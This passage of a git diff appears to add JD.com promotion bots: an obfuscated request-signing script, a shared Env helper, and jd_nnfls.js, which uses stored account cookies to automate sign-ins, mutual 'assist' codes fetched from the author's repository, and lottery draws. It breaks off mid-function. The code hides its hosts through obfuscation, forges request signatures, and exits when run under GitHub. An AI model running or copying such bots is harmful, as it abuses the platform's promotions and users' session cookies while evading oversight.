_0x24191f[_0x2386('‫273')](_0x18b623,_0x90411f);},'vkLdG':function(_0xb3bb60,_0x45d468){return _0x24191f[_0x2386('‮274')](_0xb3bb60,_0x45d468);},'qVCcZ':function(_0x757506,_0x552f91){return _0x24191f[_0x2386('‮275')](_0x757506,_0x552f91);},'jkjWz':function(_0x1ca9af,_0xf66d89){return _0x24191f[_0x2386('‫273')](_0x1ca9af,_0xf66d89);},'ReEMv':function(_0x1aaa3b,_0x3ff646){return _0x24191f[_0x2386('‫276')](_0x1aaa3b,_0x3ff646);}};try{if(_0x5e1e88){$[_0x2386('‮277')](_0x5e1e88);}else{if(_0x52d1b9){if(_0x24191f[_0x2386('‫278')](_0x24191f[_0x2386('‫279')],_0x24191f[_0x2386('‮27a')])){_0x52d1b9=JSON[_0x2386('‫e')](_0x52d1b9);if(_0x24191f[_0x2386('‮27b')](_0x52d1b9[_0x2386('‮27c')],_0x24191f[_0x2386('‫27d')])){$[_0x2386('‫49')]=![];return;}if(_0x24191f[_0x2386('‫27e')](_0x52d1b9[_0x2386('‮27c')],'0')&&_0x52d1b9[_0x2386('‮12a')][_0x2386('‮27f')](_0x24191f[_0x2386('‫280')])){if(_0x24191f[_0x2386('‫281')](_0x24191f[_0x2386('‮282')],_0x24191f[_0x2386('‮282')])){console[_0x2386('‫b')](_0x52d1b9[_0x2386('‮12a')]);}else{$[_0x2386('‮4a')]=_0x52d1b9[_0x2386('‮12a')][_0x2386('‫245')][_0x2386('‮246')][_0x2386('‮247')];}}}else{$[_0x2386('‫b')](_0x24191f[_0x2386('‮283')]);}}else{$[_0x2386('‫b')](_0x24191f[_0x2386('‮283')]);}}}catch(_0x181059){$[_0x2386('‮277')](_0x181059);}finally{if(_0x24191f[_0x2386('‮284')](_0x24191f[_0x2386('‫285')],_0x24191f[_0x2386('‫286')])){var _0x9000d2={'SbjRd':function(_0x12e35e,_0x186ab4){return _0x31e864[_0x2386('‮287')](_0x12e35e,_0x186ab4);},'sXaSR':function(_0x1e4492,_0x1ebd3f){return _0x31e864[_0x2386('‫288')](_0x1e4492,_0x1ebd3f);},'vHIOz':function(_0x283bf5,_0xccb8fc){return _0x31e864[_0x2386('‮289')](_0x283bf5,_0xccb8fc);},'nXxFA':function(_0x4c808f,_0x24c443){return _0x31e864[_0x2386('‮28a')](_0x4c808f,_0x24c443);},'xIuUN':function(_0x569bd8,_0x558c19){return _0x31e864[_0x2386('‮28b')](_0x569bd8,_0x558c19);}};return format[_0x2386('‮de')](/[xy]/g,function(_0x392e33){var _0x1eda20=_0x9000d2[_0x2386('‮28c')](_0x9000d2[_0x2386('‮28d')](Math[_0x2386('‫13b')](),0x10),0x0),_0x1149f4=_0x9000d2[_0x2386('‫28e')](_0x392e33,'x')?_0x1eda20:_0x9000d2[_0x2386('‫28f')](_0x9000d2[_0x2386('‮290')](_0x1eda20,0x3),0x8);if(UpperCase){uuid=_0x1149f4[_0x2386('‫ea')](0x24)[_0x2386('‮19c')]();}else{uuid=_0x1149f4[_0x2386('‫ea')](0x24);}return uuid;});}else{_0x24191f[_0x2386('‫291')](_0x1536e8);}}});}});}function geth5st(_0x4e4475,_0x1b958a){var _0x5d45eb={'AaOsc':function(_0x445e93,_0x3632ce){return _0x445e93+_0x3632ce;},'iGikb':_0x2386('‮7d'),'pzpwb':function(_0x182504,_0x3e523e){return _0x182504===_0x3e523e;},'LpUSm':_0x2386('‮292'),'LmynG':_0x2386('‮293'),'rGwJJ':function(_0x57eeb4,_0x3b5e93){return _0x57eeb4(_0x3b5e93);},'KJqiz':_0x2386('‫294'),'KyKYY':_0x2386('‫295'),'ynvsh':_0x2386('‮296'),'XZwBg':_0x2386('‮297'),'YiLnG':function(_0x2320a9,_0x19b1da){return _0x2320a9===_0x19b1da;},'LNdiC':_0x2386('‫298'),'Vjljw':_0x2386('‫299'),'uGmRw':function(_0x2e396f,_0xf8d458){return _0x2e396f*_0xf8d458;},'ofRaB':_0x2386('‫202'),'fgAeS':function(_0x1b83ff,_0x1f2521){return _0x1b83ff*_0x1f2521;}};return new Promise(async _0x4c3cea=>{var _0x291244={'trTWZ':function(_0x11acf0,_0x2819b8){return _0x5d45eb[_0x2386('‫29a')](_0x11acf0,_0x2819b8);},'NWZrh':_0x5d45eb[_0x2386('‫29b')],'WXiXh':function(_0x787742,_0x31d870){return _0x5d45eb[_0x2386('‫29c')](_0x787742,_0x31d870);},'ooaNk':_0x5d45eb[_0x2386('‫29d')],'YPgpE':_0x5d45eb[_0x2386('‮29e')],'doxqz':function(_0x4cee1f,_0xccaa4d){return _0x5d45eb[_0x2386('‮29f')](_0x4cee1f,_0xccaa4d);}};let _0x1c54fd={'appId':_0x5d45eb[_0x2386('‫2a0')],'body':{'appid':_0x5d45eb[_0x2386('‮2a1')],'functionId':_0x4e4475,'body':JSON[_0x2386('‫dc')](_0x1b958a),'clientVersion':_0x5d45eb[_0x2386('‫2a2')],'client':'H5','activityId':$[_0x2386('‫63')]},'callbackAll':!![]};let _0x51d078='';let _0x3cc766=[_0x5d45eb[_0x2386('‫2a3')]];if(process[_0x2386('‫8')][_0x2386('‫19d')]){if(_0x5d45eb[_0x2386('‮2a4')](_0x5d45eb[_0x2386('‮2a5')],_0x5d45eb[_0x2386('‫2a6')])){console[_0x2386('‫b')](error);}else{_0x51d078=process[_0x2386('‫8')][_0x2386('‫19d')];}}else{_0x51d078=_0x3cc766[Math[_0x2386('‫139')](_0x5d45eb[_0x2386('‫2a7')](Math[_0x2386('‫13b')](),_0x3cc766[_0x2386('‮31')]))];}let _0x243a44={'url':_0x2386('‮2a8'),'body':JSON[_0x2386('‫dc')](_0x1c54fd),'headers':{'Host':_0x51d078,'Content-Type':_0x5d45eb[_0x2386('‮2a9')]},'timeout':_0x5d45eb[_0x2386('‮2aa')](0x1e,0x3e8)};$[_0x2386('‮122')](_0x243a44,async(_0x45da1f,_0x1dfd50,_0x1c54fd)=>{var _0x1b7689={'tEfOH':function(_0x4cf8e5,_0x1a96c3){return _0x291244[_0x2386('‫2ab')](_0x4cf8e5,_0x1a96c3);},'vOeTC':_0x291244[_0x2386('‮2ac')]};try{if(_0x45da1f){_0x1c54fd=await geth5st[_0x2386('‫2ad')](this,arguments);}else{}}catch(_0x44a3e3){if(_0x291244[_0x2386('‮2ae')](_0x291244[_0x2386('‮2af')],_0x291244[_0x2386('‮2b0')])){ownCode=$[_0x2386('‫9a')];console[_0x2386('‫b')](_0x1b7689[_0x2386('‮2b1')](_0x1b7689[_0x2386('‮2b2')],ownCode));}else{$[_0x2386('‮277')](_0x44a3e3,_0x1dfd50);}}finally{_0x291244[_0x2386('‫2b3')](_0x4c3cea,_0x1c54fd);}});});}function getSign(_0x5f32f6){var _0x39cb35={'boBdb':_0x2386('‫71'),'LvCaS':_0x2386('‫72'),'QKdgr':function(_0x951eb6,_0x13bfe){return _0x951eb6(_0x13bfe);},'DjDqD':_0x2386('‮73'),'reSvT':_0x2386('‮74'),'uiUvA':function(_0x4137f1,_0xb90172){return _0x4137f1+_0xb90172;},'rqRvw':function(_0x349940,_0x9865b1){return _0x349940+_0x9865b1;},'thxCh':function(_0x14ccda,_0x2fb7e1){return _0x14ccda+_0x2fb7e1;},'PVvcm':function(_0x1ab8ea,_0x209b03){return _0x1ab8ea+_0x209b03;},'thNAG':_0x2386('‫75'),'MbVmF':_0x2386('‫76'),'UiUpI':_0x2386('‮77')};var _0x1cb446=new Date()[_0x2386('‫d9')](),_0xff5fc5=_0x39cb35[_0x2386('‫2b4')],_0x59be36=_0x39cb35[_0x2386('‮2b5')],_0x5b4c36=JSON[_0x2386('‫dc')](_0x5f32f6),_0x1d809a=_0x39cb35[_0x2386('‫2b6')](encodeURIComponent,_0x5b4c36),_0xb73611=new RegExp('\x27','g'),_0x3695d0=new RegExp('~','g'),_0x1d809a=_0x1d809a[_0x2386('‮de')](_0xb73611,_0x39cb35[_0x2386('‫2b7')]),_0x1d809a=_0x1d809a[_0x2386('‮de')](_0x3695d0,_0x39cb35[_0x2386('‮2b8')]),_0x4b7ab2=_0x39cb35[_0x2386('‫2b9')](_0x39cb35[_0x2386('‫2ba')](_0x39cb35[_0x2386('‫2bb')](_0x39cb35[_0x2386('‫2bb')](_0x39cb35[_0x2386('‫2bb')](_0x39cb35[_0x2386('‫2bc')](_0x39cb35[_0x2386('‫2bc')](_0x59be36,_0x39cb35[_0x2386('‮2bd')]),_0x59be36),_0x39cb35[_0x2386('‮2be')]),_0x1d809a),_0x39cb35[_0x2386('‫2bf')]),_0x1cb446),_0xff5fc5);return{'sign':CryptoJS[_0x2386('‫e8')](_0x4b7ab2[_0x2386('‫e9')]())[_0x2386('‫ea')](),'timeStamp':_0x1cb446};};_0xod9='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_nnfls.js b/jd_nnfls.js new file mode 100644 index 0000000..ad983f8 --- /dev/null +++ b/jd_nnfls.js @@ -0,0 +1,584 @@ +/** + 京喜-首页-牛牛福利 + Author:zxx + Date:2021-11-2 + ----------------- + Update: 2021-11-17 修复任务 + ----------------- +先内部助力,有剩余助力作者 + cron 1 0,19,23 * * * https://raw.githubusercontent.com/ZXX2021/jd-scripts/main/jd_nnfls.js + */ +const $ = new Env('牛牛福利'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +let cookiesArr = []; +let shareCodes = []; +let rcsArr = []; +let coin = 0; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie) + ].filter((item) => !!item); +}; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + res = await UserSignNew(); + // await drawUserTask(); + } + shareCodes = shareCodes.filter(code => code) + const author = Math.random() > 0.5 ? 'zero205' : 'ZXX2021' + await getShareCode('nnfls.json', author, 3, true) + shareCodes = [...new Set([...shareCodes, ...($.shareCode || [])])]; + if (shareCodes.length > 0) { + console.log(`\n*********开始互助**********\n`); + } + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`====开始账号${$.UserName}===助力`) + if (rcsArr.includes($.UserName) > 0) { + console.log("不让助力,休息会!"); + break; + } + for (let j = 0; j < shareCodes.length; j++) { + if (!$.canHelp) { + break; + } + await help(shareCodes[j]); + await $.wait(1000); + } + } + console.log(`\n********执行任务抽奖**********\n`); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`====开始账号${$.UserName}===`) + if (rcsArr.includes($.UserName) > 0) { + console.log("不让做任务,休息会!"); + continue; + } + await drawUserTask(); + } + +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +function getShareCode(name, author = 'zero205', num = -1, shuffle = false) { + return new Promise(resolve => { + $.get({ + url: `https://raw.fastgit.org/${author}/updateTeam/main/shareCodes/${name}`, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + console.log(`优先账号内部互助,有剩余助力次数再帮作者助力`); + $.shareCode = JSON.parse(data) || [] + if (shuffle) { + $.shareCode = $.shareCode.sort(() => 0.5 - Math.random()) + } + if (num != -1) { + $.shareCode = $.shareCode.slice(0, num) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +async function help(sharecode) { + console.log(`${$.UserName} 去助力 ${sharecode}`) + res = await api('sign/helpSign', 'flag,sceneval,token', { flag: 0, token: sharecode }) + await $.wait(3000) + res = await api('sign/helpSign', 'flag,sceneval,token', { flag: 1, token: sharecode }) + if (res) { + switch (res.retCode) { + case 30014: + console.log('不能助力自己'); + break; + case 30010: + console.log('助力已满!'); + break; + case 30011: + console.log('助力次数已用完!'); + $.canHelp = false; + break; + case 30009: + console.log('已助力过!'); + break; + case 60009: + console.log('不让助力,先休息会!'); + rcsArr.push($.UserName); + $.canHelp = false; + break; + case 0: + console.log('助力成功'); + break; + default: + console.log('助力结果' + res.errMsg); + break; + } + } else { + console.log('助力失败!'); + } + await $.wait(2000) +} + +async function drawUserTask() { + res = await api('task/QueryUserTask', 'sceneval,taskType', { taskType: 0 }) + let tasks = [] + if (res.datas) { + for (let t of res.datas) { + if (t.state !== 2) + tasks.push(t.taskid ? t.taskid : t.taskId) + } + } else { + res = await api('task/QueryPgTaskCfg', 'sceneval', {}) + if (tasks.length === 0) { + for (let t of res.data.tasks) { + tasks.push(t.taskid ? t.taskid : t.taskId) + } + } + } + console.log(`总任务数:${res.datas && res.datas.length} 本次执行任务数: ${tasks && tasks.length}`) + await $.wait(2000) + + res = await api('task/QueryPgTaskCfg', 'sceneval', {}) + // console.log('tasks:', res.data.tasks && res.data.tasks.length) + // await $.wait(2000) + for (let t of res.data.tasks) { + if (tasks.includes(t.taskid ? t.taskid : t.taskId)) { + let sleep = (t.param7 ? t.param7 : 2) * 1000 + (Math.random() * 5 + 1) * 1000; + console.log(`任务名:${t.taskName} 浏览时间:${sleep / 1000} s`) + res = await api('task/drawUserTask', 'sceneval,taskid', { taskid: t.taskid ? t.taskid : t.taskId }) + await $.wait(sleep) + res = await api('task/UserTaskFinish', 'sceneval,taskid', { taskid: t.taskid ? t.taskid : t.taskId }) + // console.log(`${JSON.stringify(res)}`) + await $.wait(2000) + + } + } + + res = await api('active/LuckyTwistUserInfo', 'sceneval', {}) + let surplusTimes = res.data.surplusTimes + console.log('剩余抽奖次数', surplusTimes) + for (let j = 0; j < surplusTimes && coin >= 10; j++) { + res = await api('active/LuckyTwistDraw', 'active,activedesc,sceneval', { active: 'rwjs_fk1111', activedesc: encodeURIComponent('幸运扭蛋机抽奖') }) + if (res) { + if (res.retCode == 0) { + console.log('抽奖成功', res.data && res.data.prize ? res.data.prize[0].prizename : "") + } else { + 